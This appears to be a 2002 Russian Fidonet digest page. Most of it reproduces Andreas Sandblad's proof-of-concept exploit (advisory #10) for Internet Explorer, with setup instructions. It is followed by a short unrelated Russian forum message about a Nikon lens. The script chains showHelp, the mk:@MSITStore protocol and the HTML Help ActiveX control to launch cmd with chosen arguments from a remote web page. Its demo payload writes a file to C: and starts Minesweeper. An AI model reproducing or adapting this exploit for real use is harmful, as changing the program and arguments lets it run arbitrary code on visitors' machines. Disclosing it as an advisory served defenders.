15 декабря 02 года
From: dmitry radishev To: Dmitry Anokhin |
INSTRUCTIONS:
1. Copy the content below and place it in a html file.
2. REMOVE THE * FROM THE SCRIPT TAG.
3. Place the file on a remote webserver and load it in IE (URL MUST START
WITH HTTP://).
4. The script will open up a dos window and display a line of text, create
the file c:/vulnerable.txt (write permission required) and start winmine
(this excellent game must exist). The help window for IE will not be
closed.
TESTED:
Win2000 pro, XP, IE 6 (latest patches).
--------------------------- CUT HERE ---------------------------
<*script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, sandblad@acc.umu.se
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
'echo Sandblad #10 > c:/vulnerable.txt & winmine';
if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\\","+prog+","+args+"\\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
"-00aa003b7a11><param name=Command value=Close></object>')");
f("javascript:c1.Click();c2.Click();");
close();
}
</script>
--------------------------- CUT HERE ---------------------------
Area: RU.PHOTO.DIGITAL From: Iliah Borg To: Eugeny Kreewosheyew Subj: Японский юмор [skip] Hа Фотокине Nikon'овцы говорили, что размер сенсора менять в обозримом будущем не будут, а вместо этого выпустят новую линейку оптики высокого разрешения. Это был разговор частный. Теперь мы имеем реально заявленный объектив (утверждается, что его разрешение выше *200* пар линий на мм) и обещания в феврале (в Лас-Вегасе) продемонстрировать чуть ли не готовую линейку. |
| Оригинал страницы находится на http://dibr.nnov.ru/issue151202.html. | (с) DiBR |
| При перепечатке ссылка обязательна. | << * >> |